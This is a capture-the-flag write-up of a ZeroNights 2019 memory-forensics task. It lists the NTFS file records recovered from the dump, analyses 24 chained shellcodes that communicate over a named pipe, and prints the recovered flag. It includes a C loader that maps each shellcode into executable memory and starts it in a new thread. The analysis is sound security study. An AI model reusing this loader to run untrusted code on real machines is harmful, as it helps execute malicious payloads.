zn_2019\note.exe SIGN.MEDIA=1C30058 zn_2019\note2.exe SIGN.MEDIA=1C30058 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C89400 zn_2019\Injector2.exe SIGN.MEDIA=1C89400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C89400 zn_2019\NOTE1.exe SIGN.MEDIA=1C89400 zn_2019\With_little_debug.exe SIGN.MEDIA=1C89400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C89400 zn_2019\injector.exe SIGN.MEDIA=1C89400 zn_2019\nnnn.exe SIGN.MEDIA=1C89400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note2.exe SIGN.MEDIA=1C89400 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\note4.exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C8A800 zn_2019\Injector2.exe SIGN.MEDIA=1C8A800 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C8A800 zn_2019\NOTE1.exe SIGN.MEDIA=1C8A800 zn_2019\With_little_debug.exe SIGN.MEDIA=1C8A800 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C8A800 zn_2019\injector.exe SIGN.MEDIA=1C8A800 zn_2019\nnnn.exe SIGN.MEDIA=1C8A800 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C8A800 zn_2019\note.exe SIGN.MEDIA=1C8A800 zn_2019\note2.exe SIGN.MEDIA=1C8A800 zn_2019\note3.exe SIGN.MEDIA=1C8A800 zn_2019\note4.exe SIGN.MEDIA=2D702C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=3EDC2 zn_2019\server\a.exe SIGN.MEDIA=3EDC2 zn_2019\server\hui.exe SIGN.MEDIA=3EDC2 zn_2019\server\run.exe SIGN.MEDIA=4482C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=4482C zn_2019\PEview.exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=5B0058 zn_2019\Injector2.exe SIGN.MEDIA=5B0058 zn_2019\injector.exe SIGN.MEDIA=5B0058 zn_2019\note.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Discord.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Far.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\FileZillaFTPclient.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\InputDirector.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\KeePass.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\PicPick.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Skype.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\UpdateManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\VBoxManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\idaq.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\javaw.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\lunix.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\paint.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\python3.7.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\r.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\svghost.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\tsm.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\usha.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=AB82C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=AB82C zn_2019\injector.exe SIGN.MEDIA=B06D4C64 zn_2019\server\a.exe SIGN.MEDIA=B06D4C64 zn_2019\server\hui.exe SIGN.MEDIA=B06D4C64 zn_2019\server\run.exe SIGN.MEDIA=B06D4C64 zn_2019\server\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=BA802 zn_2019\server\run.exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=E00058 zn_2019\Injector2.exe SIGN.MEDIA=E00058 zn_2019\injector.exe SIGN.MEDIA=E00058 zn_2019\note.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E9982 zn_2019\server\run.exe
I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).
data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.
This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with "\.\pipe\zn_shell_stor" argument.
I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.
One of shellcode #21 contained references to other, it is probably the main one.
Global\vtHAjnNbCecOeNAnVeQFmdRw Global\jGzXXZJbXGPYniopljDEdwuD Global\jpBuyMNJzdnpwHimVlcBkwGo Global\ArlCJOxJFOKRkqOLcBhvjYqj Global\THxjCBohxSlNgCFbwJsHujqk Global\BOiJhsLFBuZdsFdCrLKEucpJ Global\iYxszVIFfsuzzEmGwgOQeEcb Global\NOluZoXPJalShopCCuNnWQbR Global\GCrtPmNEAOsZpSNNBdiYQfgz Global\pVVgeqcREhXSgKCwhkeyfTXw Global\trsQPehKvlxBJhEqIPtwzjxi Global\ngVrhgAEqcDssFsNerrAZsFz Global\KiZvGyiMnyTgvQdFNGcudfTY Global\FzXvKPKGCPMAERklFMXVMYga Global\nCZpFZPtyidhFOvVeemfyJAC Global\pjRmfOLLBXIbsJholoasvrqC Global\mhOVYcYRKgWdABAsgkvrcOOM Global\syGiShcLTXfQYGAAiafYBxoF Global\KbFVsPCPZrfVlUIQlvVoJLXW Global\XbuYiHCxQLTLApuToFldJIgI Global\auFqpIQAlsHcvjPEakqHyIeA Global\MrnXOMJvHmYBxRfkbLBUYWgn Global\GYVOmvrLhCpgQUPfnOshzzem Global\qaswedfrtghyujkiol121232 \\.\pipe\zn_shell_stor
Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe "\.\pipe\zn_shell_stor" .
File | Tags | Mutex |
---|---|---|
b1 | mov mov | Global\GCrtPmNEAOsZpSNNBdiYQfgz |
b2 | SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ" | Global\NOluZoXPJalShopCCuNnWQbR |
b3 | inc byte [rbp+0Ch] | Global\ngVrhgAEqcDssFsNerrAZsFz |
b4 | repne scasb strlen() == 18 | Global\jpBuyMNJzdnpwHimVlcBkwGo |
b5 | ?? | Global\ArlCJOxJFOKRkqOLcBhvjYqj |
b6 | xor BUFFER "\x31\x2A\x72\xC8\x5E\x08\xC5\xFE \x07\x44\xCB\xEB\x76\x3B\xE1\x3A\x83" | Global\MrnXOMJvHmYBxRfkbLBUYWgn |
b7 | ?? | Global\GYVOmvrLhCpgQUPfnOshzzem |
b8 | cmp word [rbp+0Ch], 12h | Global\KbFVsPCPZrfVlUIQlvVoJLXW |
b9 | ?? | Global\BOiJhsLFBuZdsFdCrLKEucpJ |
b10 | ?? | Global\iYxszVIFfsuzzEmGwgOQeEcb |
b11 | cmp | Global\pjRmfOLLBXIbsJholoasvrqC |
b12 | add xor cl x2 | Global\nCZpFZPtyidhFOvVeemfyJAC |
b13 | inc [rbp+0Ch] | Global\auFqpIQAlsHcvjPEakqHyIeA |
b14 | dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch] | Global\syGiShcLTXfQYGAAiafYBxoF |
b15 | WIN! Sleep Beep | Global\XbuYiHCxQLTLApuToFldJIgI |
b16 | save byte | Global\mhOVYcYRKgWdABAsgkvrcOOM |
b17 | add xor cl x2 | Global\FzXvKPKGCPMAERklFMXVMYga |
b18 | zero rbp (0, 211h, 80h) | Global\trsQPehKvlxBJhEqIPtwzjxi |
b19 | ?? | Global\KiZvGyiMnyTgvQdFNGcudfTY |
b20 | Read from C:\beeps\flag.txt | Global\vtHAjnNbCecOeNAnVeQFmdRw |
b21 | MAIN | |
b22 | Xor | Global\THxjCBohxSlNgCFbwJsHujqk |
b23 | cmp dw[rbp+0Ch], 256 dec | Global\pVVgeqcREhXSgKCwhkeyfTXw |
b24 | beep(1000, 1100) | Global\jGzXXZJbXGPYniopljDEdwuD |
Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.
I decided to execute it all and see what happens. All shellcodes was saved as files bN , where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:\beeps\flag.txt should be present in system for #20 to work.
#include <windows.h> void load_shellcode(int index) { FILE* fp; DWORD dwThread; int size; CHAR filename[32]; sprintf_s(filename, "b%i", index); fopen_s(&fp, filename, "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); LPVOID pMem = VirtualAlloc( NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); printf("Loaded %i | size=%i | at %p\n", index, size, pMem); fread(pMem, 1, size, fp); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread); fclose(fp); } int main() { load_shellcode(21); Sleep(1000); for (int i = 1; i <= 24; i++) { if (i == 21) continue; load_shellcode(i); } while (1) Sleep(1000); }
I created C:\beeps\flag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).
Program executed and flag showed up in memory after XOR operation.
Flag: zn{$ucH SL0W !pC}
Also sysenter prepared the analysis of the task for 6 days. You can find it here .
Some statistics
This year, more than two thousand people visited the task pages or downloaded the files necessary for the solution. At the same time 136 participants made an attempt to pass the flag.
.
โ ASR-EHD Digital Security . (AV1ct0r), 22 15 .
Protected Shell RuCTFE. โ 10. vos, 1 26.
, . 12-13 ZeroNights .